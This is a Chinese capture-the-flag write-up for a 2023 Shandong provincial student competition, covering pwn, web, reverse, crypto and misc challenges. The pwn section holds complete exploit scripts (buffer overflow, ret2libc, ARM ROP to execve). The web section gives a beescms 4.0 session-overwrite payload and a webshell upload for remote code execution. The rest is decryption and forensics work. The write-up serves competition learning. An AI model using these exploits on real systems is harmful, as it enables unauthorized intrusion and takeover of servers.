2023山东省“技能兴鲁”职业技能大赛-学生组初赛wp

发布时间 2023-11-16 00:18:58作者: ve1kcon

PWN

pwn1

c++ pwn,cin 直接相当于 gets 了,程序有后门,保护基本没开,在 change 的最后一个输入点改掉返回地址为后门地址即可

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = './pwn'
ip_port = ['vt.jnxl2023.sierting.com', 31339]

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))


if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])

else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)


def recv_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))


def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()


backdoor = 0x4025D6
ret = 0x402E87
sleep(0.1)
p.sendline('1')
p.sendlineafter('name: ', 'aaa')
p.sendlineafter('age: ', '1')
p.sendlineafter('address: ', 'aaa')

payload =  'a' * 0x358 
payload += p64(ret) + p64(backdoor)
sleep(0.1)
p.sendline('2')
p.sendlineafter('id: ', '0')
p.sendlineafter('address: ', 'aaa')
p.sendlineafter('check name: ', payload)

p.interactive()

pwn2

直接送的 ret2libc

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = './pwn'
libcfile = './libc.so.6'
ip_port = ['vt.jnxl2023.sierting.com',30487]

elf = ELF(pwnfile)
libc = ELF(libcfile)
# libc = elf.libc


def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))


if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])

else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)


def recv_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))


def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x4011e3
payload = 'a'*(0x10 + 0x8)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter('gift:\n',payload)
puts_addr = recv_addr()

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
log.info('libc_base: ' + hex(libc_base))
payload ='a'*(0x10 + 0x8)
payload += p64(0x40101a)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter('\n',payload)

p.interactive()

pwn3

arm pwn,比赛时卡在了前面的输入验证,被这个类似 strchr 的函数卡了,主要在第二次 strchr,传进两个固定值为参数,有点懵

恢复了部分符号的效果如下

image-20231115233013652

第二次 strchr 的第一个参数为0,表示 v3 接在 v4 后面,以冒号分割,后面要检查 *v3 = 'a'

前面的验证过了,后面给了个很长的输入点,那就很好做了,往 bss 段写入 '/bin/sh\x00' 后执行 system 即可,因为是静态链接,执行 read 和 system 都要通过系统调用来实现,另外发现没有直接控 r2 的 gadget,read 的时候没管 r2 也没问题,不过要执行 execve('/bin/sh\x00', 0, 0) 还是得去控 r2,不然它是一个 0x200 的值,最后找到的 gadget 如下

0x0005a484 : mov r2, r1 ; mov r4, r0 ; mov r5, r1 ; mov r1, r0 ; mov r0, #2 ; blx r3

以及

arm32 下,read 的系统调用号是3,execve 的系统调用号是 0xb

由 r7 来存储系统调用号,r0, r1, r2 为函数调用的前三个参数

相关 gadget 查找方法

ROPgadget --binary ./pwn | grep 'mov r2, r1'
ROPgadget --binary ./pwn --only 'pop|pc' | grep 'r1'
ROPgadget --binary ./pwn --only 'svc|pop' | grep 'svc'

给出本地的调试方法:

exp 中的 process 这么写

p = process(['qemu-arm-static','-g','1244','./pwn'])

然后另开终端起 gdb,remote 上去

$ gdb-multiarch -q -ex "set architecture arm"
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
The target architecture is assumed to be arm
pwndbg> target remote :1244

exp 如下

from pwn import*
context(arch='arm',log_level='debug')
p = process(['qemu-arm-static','./pwn'])
# p = process(['qemu-arm-static','-g','1244','./pwn'])
elf = ELF('./pwn')

p.sendlineafter('message\n', 'admin:a')
p.sendlineafter('message\n', 'ctfer\x00')

r0_r4_pc = 0x236f4
r7_pc = 0x1d234
r1_pc = 0x59e48
bss = elf.bss()
svc_r7_pc = 0x1d230

r3_pc = 0x1014c

r2 = 0x5a484
# mov r2, r1 ; mov r4, r0 ; mov r5, r1 ; mov r1, r0 ; mov r0, #2 ; blx r3

payload = 'a'*40 + p32(r7_pc) + p32(3)
payload += p32(r0_r4_pc)
payload += p32(0) + p32(0)
payload += p32(r1_pc)
payload += p32(bss+0x100)
payload += p32(svc_r7_pc)

payload += p32(0xb)
payload += p32(r1_pc)
payload += p32(0)
payload += p32(r3_pc)
payload += p32(r0_r4_pc)
payload += p32(r2)
payload += p32(bss+0x100)
payload += p32(0)
payload += p32(r1_pc)
payload += p32(0)
payload += p32(svc_r7_pc)

p.sendline(payload)
sleep(0.1)
p.sendline('/bin/sh\x00')

p.interactive()                 

web

日志里的FLAG

服务器是nginx搭的,所以包含日志文件为/var/log/nginx/access.log

双写绕过log,包含即可得到flag。

购买FLAG

充值页面查看源码,可以看到这段注释

<!--            <div class="mb-3">-->
<!--                <button onclick="update_my_value(uname, 1)" class="btn btn-primary w-100">充值1积分</button>-->
<!--            </div>-->

console运行update_my_value(uname, 1000000000),即可有足够的钱买flag了。

一只小蜜蜂

beescms 4.0的漏洞,参考链接:https://blog.csdn.net/qq_43573676/article/details/105627370

先用变量覆盖登录进后台。

/index.php
POST: _SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

访问/admin/admin.php,即可进入后台。

/admin/upload.php可以上传文件,上传木马成功后得到文件名为.php

访问/upload/img/.php即可rce,在根目录下找到flag。

Reverse

BabyRe

ida打开,找到一串base64,解密即可得到flag。

TEA

ida反编译即可在main函数看到flag。

EasyRe

jadx查看,分析发现是AES加密,可得到密文和密钥。

脚本:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

def decrypt(encrypted_text, key):
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted_text = cipher.decrypt(encrypted_text)
    return unpad(decrypted_text, AES.block_size).decode()


key = b"ThisIsASecretKey"

encrypted_text="YC0ky5H1iE/1yvolTcavHPt8cla5DakNyXBlET1QXbnxQm3u7VVHlZjUc5XzVH6grI5HOoYPab0v\neu/TDaAPtg=="

en=base64.b64decode(encrypted_text)

decrypted_text = decrypt(en, key)

print(base64.b64decode(decrypted_text))
# b'flag{644b1f007a595ec4923b0a7de6fc809a}'

GORC

64位exe,ida打开,分析main_main

反编译效果不好,直接看汇编

RC4初始化,已知密钥

image-20231114181141655

读取输入

image-20231114181211275

对输入进行RC4加密,结果与已知的密文比较

image-20231114181239386

直接构造一个输入,断下,取出相应的密文,异或回去即可

s = "abcdefghijklmnopqrstuvwxyz0123456789+-"

s_enc = [0x95, 0x3F, 0x15, 0xB6, 0x7E, 0x98, 0x4C, 0x68, 0x7D, 0xA2,
         0x03, 0xB3, 0x91, 0x69, 0xCD, 0xFD, 0xFB, 0x2B, 0x2E, 0x4D,
         0x98, 0x8E, 0xB6, 0x57, 0x5B, 0xA0, 0x66, 0xBA, 0xC7, 0xCA,
         0xD8, 0xA9, 0x4E, 0x66, 0xE3, 0x91, 0xFF, 0xBE]

enc = [0x92, 0x31, 0x17, 0xB5, 0x60, 0xC8, 0x48, 0x64, 0x23, 0xFA,
       0x0A, 0xBB, 0xC5, 0x34, 0x93, 0xEC, 0xB9, 0x61, 0x6C, 0x5D,
       0x89, 0x9B, 0xA0, 0x1B, 0x47, 0xE2, 0x67, 0xBB, 0xC7, 0xCB,
       0xD8, 0xFE, 0x1C, 0x67, 0xBF, 0x98, 0xE2, 0xEE]

for i in range(len(enc)):
    enc[i] ^= ord(s[i]) ^ s_enc[i]
print(bytes(enc))
# flag{6cd72bd931a381ddca4e810224bd6d06}

XXTEA

ida打开,交叉引用 ”Decrypted:”,寻找解密过程

经过调试,知道输入长度应为40,并且找到解密函数

image-20231114194718345

修改解密函数解密的数据为已知的密文

image-20231114194744715

继续运行,得到flag

image-20231114181550071

Crypto

EasyRSA

关注公众号,得到公钥,密文,私钥。

公钥
-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKOSX8AR8/CsqasPfC7VL5aJzic8W9KFI1920SHhEhmcWd7yp5Dl9UfXgzLHIIZJExd7D1CwIxAMHANHV6qF/7FEedwEMHusBxbAWsjXQUGFeEMmzo+SUVbbRnDSw/jZwCNoofQfukVO7+5CBzV5S/N5WDTk+8bvwfrDDA9AHdW5AgMBAAE=-----END RSA PUBLIC KEY-----

密文
QhS9n7TkavmU8E4CFa872ZzqIq/NG/agtCkxQBzB0/E1PDZRv6otOYxBLsxwd/7h0fPkYYMCpPt4nXqYBGQ/n8/F3q3spV94+IFs7+CjyybUvAQg8MXLgSTzVt+ua0Ub0/et5/7Q1xAcgzT3/jWHwjklEAykdpSYMAqv5PQrhT4=

私钥

-----BEGIN RSA PRIVATE KEY-----MIICWwIBAAKBgQCjkl/AEfPwrKmrD3wu1S+Wic4nPFvShSNfdtEh4RIZnFne8qeQ5fVH14MyxyCGSRMXew9QsCMQDBwDR1eqhf+xRHncBDB7rAcWwFrI10FBhXhDJs6PklFW20Zw0sP42cAjaKH0H7pFTu/uQgc1eUvzeVg05PvG78H6wwwPQB3VuQIDAQABAoGADZ61jFeyWTr3UcATVg74TG+jE89J0gi1/k/1b/2+tRU4woCwBTewqc+/I+5Cvgu9pDnh95UDBmYLuxYorZFEzgrSa3rZ5y7OFQZl9nXapt2LttBXoQaWf3jtyslsGmfNi/VuNgKaiiVwINhVG8NeIFzzAB3AqNDitHlKDalkKZECQQDN1lZKV8bximZNDVL9CajmdE6f3DobYgGNvOXsOS4Qkzx+/3LvAbqSiiiel5V08pBIG18DRIpxBRN57z8fbJxlAkEAy28zeeMeb3ZFL7/iyosQ8RWrz3/BxlUtREh9GSplRa7EJtjm852IQCk98lg2HR++tuugmdtVAS0lxd/UVDXMxQJAFaVwtai9dzFCyN+Z1pppdLLOgek7Ax4vY6R12X255mxVdFWQ1Kmt4TM+Sk9OnFnV6n9WYpWWqYQLJEuQq9FUMQJAe6Vt+yJhCEwxRxFw7bxSosWSNL8o7rwslDke1+HdxdmwXRAuZ1mTS7QFc7vLwC3gQ9u5NGqMIvfm4nrl2f0NJQJAJrOQDrZX/KpYAnFmW8IGXxkcJrtdB2Xi9VN1WdC9r4QGz28X5ScH0o9mcYVxaDxzNU7A9DPiRL28fAltiGdJLg==-----END RSA PRIVATE KEY-----

使用CyberChef即可解密

BabyRSA

共模攻击

脚本:

e1 = 3247473589
e2 = 3698409173
c1= 295658788074157816670393593671184451782123605135184996662528766686642109492132533952160456440919197939935742027629210419312032730004032666912404179229952394343569590488768472800784830058534578639706805456277578757250365834591813481786084959844340418320620440636997732915872346619679993987903742079972676425404864295283955565746004124045155664762158516005326368384488346997494926539295740248007606864906884407198601326915643000764477435205579583836917598642053869541648731754384026407310786288997756775232852732033054591953078116290088267188296560877481534143707414153749140670404213262630122369941889862912426176115220410931992046973925991075473656781794097329513119548617920256625579072719981729556158392454956362838720993254919638177786730004086883044525967823454986241038123671907279715773848673713008902432841449556980494600938989397567019338970200872333713986608537678650318511128703055185979834233315117153115613952940778789222515375743186066883492596068186378372611075958909412662251913621375996518671118244409393829141365207153662416265238312206577474940661548038715230313608405518108581922154335405303862701783678336161505643508831482409054761542959278392940037561736468155509922530420964726953308604138731805543997557197893
c2= 219454357017359138238563345020257296433275019950745269658921329153689267055871241202626317639487122341365759606018366576305678949982408366815977617307888894995289951707241009621444691307275542686770303994110416384086739599181934011812163156338859395115724413628620575935425221522079154607411877822646179457455118804970038865452163833416447505142114976758532806787419762250921421272492466133659234602794242531776209324085944417173098820895755851386042954303555790085402616519592065446023510096773546730662074307900123349548340507067971393642039476326402523930789953483843698593104578179169624886357604650615249286150367204109726460230037005175927865466199600272190112483494387929732049738312695796015009178606906549093365261114132002222704510637261038978031857378729856467918978246977163353146981239215886053379980533235786905270211605457443266127512667882149285155542735532327780898540341696557860555884277608448996773250847560675650046440569736010800155992053362696097992699863059686881689842065077997427372972290872427656847223849769329713841670853267584161386494525686204330028142217737052411422895042170169703550774908415280261731967511925122636118468176645781785352430657090024109246103061415446942211482659025722233229083093876
n= 549785700554963543393222974982211136067042846536450239199968863551137077564447156832697813202963334596948298760762991663065504535035143397250208506445202607659676332816610122258862787906629525548439909792727593939957178783466989816894454522630301104349317697612174888605090061231211194974337772507249418567229560145454791075929946332668360553910328900103264562348881791004831033587660163923517440406942993348972589262051083908075790422096042338651001937740085414301019827335549437397656318095919875053213333008551761167437683250592542156348138055482054331330609375930693247365749085041596578748797801601289693449629548744535914348450016287545136436964138806081283470239420969311905998245715160353982174880912315601876305613349276824998688275587308133069178764001924866079232824850209407236694426779262951463035278887804883917516580169051530590466082511045503107508117656821592538792566264160105940730326929474477787053681516844548383814388361089499629312831727731267796167205124844987064389097138747938870221504684958713047985374714612321540288239995935347905120710583169131356970267386562665138437631517802641426575996558648777831102462652517305151412695166331935115971277205305816897886952646432233312318756155702046584205507027737

import gmpy2
import libnum
s,s1,s2=gmpy2.gcdext(e1,e2)
m=(pow(c1,s1,n)*pow(c2,s2,n))%n
print(libnum.n2s(int(m)).decode())

# flag{baby_r3a_sierting_2023}

简单的Python

源码加密顺序为 凯撒-->字符反转-->atbash-->base64 100次--> base100

解密脚本:

import pybase100 as pb
import base64


flag = "密文".split(' ')



def atbash_cipher(text):
    result = ""
    for char in text:
        if char.isalpha():
            if char.isupper():
                result += chr(155 - ord(char))
            else:
                result += chr(219 - ord(char))
        else:
            result += char
    return result


def caesar_decrypt(str,n):
    n=26-8
    str_encrypt=""
    for letter in str:
        if "a"<=letter<="z":
            str_encrypt +=chr((ord(letter)-ord("a") +n) %26 +ord("a"))
        elif "A"<=letter<="Z":
            str_encrypt +=chr((ord(letter)-ord("A") +n) %26 +ord("A"))
        else:
            str_encrypt += letter
    return str_encrypt

de=b""
for i in flag:
    decoded = pb.decode(i) 
    de+=decoded
for i in range(20):
    de=base64.b64decode(de)

#print(de)
de=atbash_cipher(de.decode())[::-1]
de=caesar_decrypt(de,8)
print(de)
# flag{dea8a56c1dcf73ae7fa75c52af41bb70}

N and n

flag分成两个部分

#sage
from gmpy2 import invert
e1 = 6782830682230611892084175893995043755623450171130631139250814602452836410932481493209925839414493072446570097572921721560056963314211148834567825979410196067533609339954325440284367117897127238641398908902696308109917225523901632458380925510517775783868643648356134858145600669382521666362737188742144325523512588157232342293570634035652649445253400156551025152962072745747445128287133526360740783991628418816716755623721512647940638074583741576763841775870753051303810250872868143593623277717239627310768357298460604761267661552551655957927428276127907943998267780474909778188402303623762690857740249960456774790057
e2 = 2103214336317997856589077219522416472126303166911734317206694246467268219995764970161228565888078478437417364428737223600541742231616538055544730871259451853602822824030730446037149215814151937007759784461240091013861699020393748068407644808847481103765151973619978574286131278626194949671002389644717742113710424421427515044238228547483630350104322094022063329900043953074144455813752895850411680204776639620697612634932069006593739621658746752068562661835048227282976669707149561909183948452229624114003615085530216638127958237779537381755038387944189598715581703073251023985468629411284347709891083474234876217463
c = 29989464921369023556682797868010016761018920329572945071155900694105273355964587007056986267712321773704235790532528354216923933793097271606770062213705165659395515866861504389622774632727796989109881498337975935953211195543145705126576701050921790651344138412223208506167505671199878150807990122800243557999848684393902248880601469831139694292727905631653021260642914026110749040895120735190773734221354234102719240917477878117340342682396785253367077886829396722805689079044627803038192815819268299096723702651032328877700961625008336392915779555073331746659247259680693531225729446517842360145219661338579799576558
N = 30344300732028581232055573105267124359676188143150900167627553124815567866404397432618233963414140210742264633672189858251955823399837706447362136668421589160230997509307799044768633993451916070777658566053448924598053107182517067411689272508341060006607406671139418906121846321917188581384347220115835524818729646138538805397174148412625308825976478229354595231559952075478573137303317127264083147914620219710706789060326244876382524823370726774783578934340406201760636614424268881611139037722190200706902280712973313045676140513487706619995064309929439932176799828094975671497855556312196872661906398504926989682483
a  = 5./14
M1=N**0.5
M2= N **(a+1)
D = diagonal_matrix(ZZ,[N,M1,M2,1])
M=matrix(ZZ,[[1,-N,0,N**2],[0,e1,-e1,-e1*N],[0,0,e2,-e2*N],[0,0,0,e1*e2]])*D
L=M.LLL()
t=vector(ZZ,L[0])
x=t*M**(-1)
phi = int(x[1]/x[0]*e1)
d = invert(0x10001,phi)
m=pow(c,d,N)
print(m)


from Crypto.Util.number import *

m=2284117282070499256116682860908548989816223287
print(long_to_bytes(m))

第二半flag

from Crypto.Util.number import *
e1 = 6782830682230611892084175893995043755623450171130631139250814602452836410932481493209925839414493072446570097572921721560056963314211148834567825979410196067533609339954325440284367117897127238641398908902696308109917225523901632458380925510517775783868643648356134858145600669382521666362737188742144325523512588157232342293570634035652649445253400156551025152962072745747445128287133526360740783991628418816716755623721512647940638074583741576763841775870753051303810250872868143593623277717239627310768357298460604761267661552551655957927428276127907943998267780474909778188402303623762690857740249960456774790057
e2 = 2103214336317997856589077219522416472126303166911734317206694246467268219995764970161228565888078478437417364428737223600541742231616538055544730871259451853602822824030730446037149215814151937007759784461240091013861699020393748068407644808847481103765151973619978574286131278626194949671002389644717742113710424421427515044238228547483630350104322094022063329900043953074144455813752895850411680204776639620697612634932069006593739621658746752068562661835048227282976669707149561909183948452229624114003615085530216638127958237779537381755038387944189598715581703073251023985468629411284347709891083474234876217463
C = 29989464921369023556682797868010016761018920329572945071155900694105273355964587007056986267712321773704235790532528354216923933793097271606770062213705165659395515866861504389622774632727796989109881498337975935953211195543145705126576701050921790651344138412223208506167505671199878150807990122800243557999848684393902248880601469831139694292727905631653021260642914026110749040895120735190773734221354234102719240917477878117340342682396785253367077886829396722805689079044627803038192815819268299096723702651032328877700961625008336392915779555073331746659247259680693531225729446517842360145219661338579799576558
N = 30344300732028581232055573105267124359676188143150900167627553124815567866404397432618233963414140210742264633672189858251955823399837706447362136668421589160230997509307799044768633993451916070777658566053448924598053107182517067411689272508341060006607406671139418906121846321917188581384347220115835524818729646138538805397174148412625308825976478229354595231559952075478573137303317127264083147914620219710706789060326244876382524823370726774783578934340406201760636614424268881611139037722190200706902280712973313045676140513487706619995064309929439932176799828094975671497855556312196872661906398504926989682483
e = 299742004862647001956313120212789574846580220823019898357792625504178411714797094742432220851214080697312929100795881061754804067011066316407767459562109544884325934987539239861070418621447111093384013351477684377198341027898504996993593283522838272857329217507275894840277894087904595190160194511978382517367710210686608995602714780005450539330715470056742064042206153672425362533446859048923068749681843218896929215564488280011450180418975217192154388297131854037285601204641315928728064065304223386593308998171792136113396426653699567707675838292526904189649118232094386995015436190372800414449432499422121184507296113393960935243786261895033570509606345209363596478499929774934469773180406690091187100398142619942900506959798908476235527337658505697642546150130061396487901956233214920407126566742159502020936536102917887602433208819189094143202883705424044449702123000696909084455782204447010924860970874738632469322937536658587288795299893333604630770500062873462999648761323377136099352157869839874240047601711751117191788451204663149112399751636505123892586635002009146630554168009325095964088948381302377160571209753641851547586086873112029280568971051001188617418651169235174090191703598083547611960978741863850616433263009976666609668535251515828817752896001889209178886059547569894616006038953764625172390993903264458258177870227410638829192618453676849376407446542593464461363622931772907815255954081688800997429274829215857042728871715036568727537618708814278187475175445085765782432533976143942716189575103855683395694832855726053336953735763741373335952612979908944501059234949083627802270461031980382156408726205210854884917749230264947939710324129260944905762085727485969049441097952735976295710871516976985865549318708942751416482271454250791949807080875692537392184605862254771134466225346692451821722506385446147370548767344376192640024822285511915833028610576811425847988096411847042081445063639035379481001149253846725342523772332728219803605916063700830046907196875382999881830571672177374985624241574089434376468760007094988366233326668044929011742179533386718697976595104507037505540811648287104846603486989691127711050916093950525301636944418121491192837338728578578330392782556349149954539883490468195279215271284541239787166817777355721489582824730761639598958998623312024938112967900492630170624380269694407585239618920757230271109189336570404961491906293460873344066516775823246298215432838113623662329545676928716855813667142568884689
c = 126695602720287888676696559539723856104067880497647910249667466893383255209045508458853397118652154927531942978073740450713169724992849585395980530995616033417536181504956346153802206636341529342379554700812003676995067291620365422490729240182771628157839856497982161939850099419818846168892124000934230938596843008515097940267452003035829575993632190810983916075770086955915299960458326215544353491716475416507979327966205005560687748553292934357925494272906793366830635665955254360832729599330402509893842443992566513483714382646025195961137009000018753983651046339079082240599803110561923185022718826369932953293392042843316783280269536972413964168113045731922548355553310815705462142367484991077862467325614074446691792390594414839402047022568848720013674657754350468599049824440676054373139693146540866117364152197587588957272239652412704757261350214302868926397274366692066128442089847092896219437033747372413635564005759528955854210845606433051956506324333881982679048116436237358902439216062577682934439187221817783476381404025207390125422670463968924533866239220945599943424853960721952593755424063509284740828904466959593982825341965617094231864134504669071102977784540127151904413578177761848793566690223185451889990820402
n = 859565655364744504691128999173163629390646814643060535547080894876016015739755448061478525059968284125179725990710325321893406147631932546407240817403077573269303336968136350915335129516055615375854960217610941327794523495841406247731161064324407758961532167363890807327195033732279449216861117755979815380858624730326007741056071800878183909447988835586091073740707308565512311924433072879024119766899755012553349626636468493851062542303298661624120541942178182347374045947609043216734445638877776294108043514178865246029735264509336247861885730840387655988039742469139971460741869400259399992998520698159168380993790528772660805213735331660411376032794407414712321416964946987284847501890015182686215583876281440889392100599628100990699849428461136706052752442644724202914118196513060602262180109347482361752489574671269844731950856639343609901971646601035980653387918471588092168412636621698349007474550692258931250093394500150330222620648922922629823659927849987286747846800518750174996915977804476772593787465161038218032247260333768345962898351749721089493153901951125423616164946743757205492717572128978767398876091279363699959624457451368185973411191832200498560071743826896179527897577648387335153453732357692561765479438357

n=e/(n**2+1-9*n/4)
a = continued_fraction(n)
b = a.convergents()
for i in b:
    l=i.denominator()
    if(l.nbits()==2048):
        print(l)
d=18961899002023854611235080952441174602163021799998125050311295713208337644520017083157450411127907657858460049905138783433875601914550240250951702737057262635185187458404540876566113593403284738646716269735517933385409692610647545905091000576137734801380650525582602589123669807391692559556286207341089948548376630668611139915349072801206642091255819749003733753156001843357410390205932987843712847571095975117673793301007860663764420477260757153974351827821656946630385792499059777405052680856491649487866763155768429701893343437185115290874545816729452010201272449443287233657525138247914179181083479237938693638449
m=pow(c,d,n)
print(long_to_bytes(m))

最后拼一起就行了

MISC

时间不多了

image-20231114163046549

提取出来真正有用的qrcode就这些

然后逐个解码

2 3 4 9 15 17 18 23 30

6 13 20 27 28

2 15 22 17 24 16

6 5 4 11 18 25 26 27 28 20 21

2 3 9 15 23 30 31

5 13 20 27 14 21

6 19 26 21 28 20

9 10 11 17 24 31

1 2 3 8 15 16 17 22 29 30

2 3 9 16 17 24 30 31

2 8 15 23 24 18 11 3

1 2 9 17 23 30 29

对着日历依次连接即可,第一个F和第六个D不太好看

flag{DATESO}

未知的加密

image-20231114164714309

将Virtual用7z解压下,看到enc文件

密码可以从文件末尾看到,经过爆破后为2023

用VC挂载后能找到挂载的密码为Sierting2023

image-20231114170107813

用010打开flag.swp就可以看到

image-20231114170155714

Datas_secret

image-20231114170744611

可以看到文件

dump出来后用记事本就可以看到flag

flag{23030d1c2aa90debdf7757782e9f1ee9}

卑劣的手段

volatility取证

搜png图片

Volatility -f image.vmem --profile=WinXPSP1x64 filescan|findstr "png"

image-20231114175834561

然后dump出图片

放到zsteg一把梭就可以

image-20231114182704044